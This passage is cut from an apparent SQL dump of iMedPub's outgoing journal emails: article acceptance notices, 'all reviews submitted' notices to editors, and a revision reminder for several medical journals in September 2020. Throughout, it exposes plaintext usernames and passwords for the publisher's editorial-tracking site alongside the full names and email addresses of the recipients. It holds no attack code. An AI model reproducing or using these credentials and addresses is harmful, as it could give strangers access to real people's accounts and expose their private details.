<b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5420</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',5420,'2020-09-09',75),(1951,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5803</b><br />\r\n            <br />\r\n            Article Title: <b>Central skull base osteomyelitis with ischemic infarct: case report and literature review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>TAMAOUI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tamaouileila@gmail.com',5803,'2020-09-10',75),(1955,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5245</b><br />\r\n            <br />\r\n            Article Title: <b>Consideration of the effects of COVID-19 on the mental health of students</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Divyash Shah</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5245</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',5245,'2020-09-11',75),(1956,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5803</b><br />\r\n            <br />\r\n            Article Title: <b>Central skull base osteomyelitis with ischemic infarct: case report and literature review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>TAMAOUI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tamaouileila@gmail.com',5803,'2020-09-11',75),(1957,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5245</b><br />\r\n            <br />\r\n            Article Title: <b>Consideration of the effects of COVID-19 on the mental health of students</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','divsha23@bergen.org',5245,'2020-09-11',75),(1961,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5332</b><br />\r\n            <br />\r\n            Article Title: <b>Perineal tears in childbirth</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b> Fahad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','atiffazari@hotmail.co.uk',5332,'2020-09-11',319),(1968,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5994</b><br />\r\n            <br />\r\n            Article Title: <b>Covid 19 &ndash; Preparedness to face the dominant biology</b><br />\r\n            <br />\r\n            Corresponding Author: <b>vasanth sukumar</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5994</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',5994,'2020-09-12',85),(1969,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-09-12',85),(1970,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5734</b><br />\r\n            <br />\r\n            Article Title: <b>An ANN-Based QSAR Model to Predict Anti-Staphylococcus aureus Activity of Oxadiazoles</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Seyed mohammad ebrahim Kamrani</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5734</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',5734,'2020-09-12',85),(1971,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5174</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of dexamethasone and remdesivir as potential anti-viral drugs over others for the treatment of the COVID-19 patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rashed Noor</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5174</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',5174,'2020-09-14',248),(1972,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5174</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of dexamethasone and remdesivir as potential anti-viral drugs over others for the treatment of the COVID-19 patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Noor</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rashednoor@iub.edu.bd',5174,'2020-09-14',248),(1974,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5589</b><br />\r\n            <br />\r\n            Article Title: <b>Pathogenesis of Helicobacter Pylori; Case Management Indicator strategy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Donozio</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dontumwebaze@gmail.com',5589,'2020-09-14',248),(1975,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5922</b><br />\r\n            <br />\r\n            Article Title: <b>behaviour tolerance against covid-19 </b><br />\r\n            <br />\r\n            Corresponding Author: <b>shefa Mahmoud </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5922</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',5922,'2020-09-14',248),(1976,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5922</b><br />\r\n            <br />\r\n            Article Title: <b>behaviour tolerance against covid-19 </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mahmoud </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shefa.mahmoud545@gmail.com',5922,'2020-09-14',248),(1987,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5994</b><br />\r\n            <br />\r\n            Article Title: <b>Covid 19 &ndash; Preparedness to face the dominant biology</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sukumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vasnt.dr@gmail.com',5994,'2020-09-15',85),(1997,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5734</b><br />\r\n            <br />\r\n            Article Title: <b>An ANN-Based QSAR Model to Predict Anti-Staphylococcus aureus Activity of Oxadiazoles</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kamrani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Smekamrani@gmail.com',5734,'2020-09-18',85),(2006,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5914</b><br />\r\n            <br />\r\n            Article Title: <b>VULNERABILITY OF COVID-19 ON DIFFERENT AGE INDIVIDUALS IN INDIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ANKIT DIMRI   </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5914</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',5914,'2020-09-22',248),(2007,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5914</b><br />\r\n            <br />\r\n            Article Title: <b>VULNERABILITY OF COVID-19 ON DIFFERENT AGE INDIVIDUALS IN INDIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DIMRI   </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ankit.dimri07@gmail.com',5914,'2020-09-22',248),(2011,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6013</b><br />\r\n            <br />\r\n            Article Title: <b>Rapid evolvement of De Winter waves into ST elevation myocardial infarction: case report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ines sedghiani</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6013</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',6013,'2020-09-23',85),(2013,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" 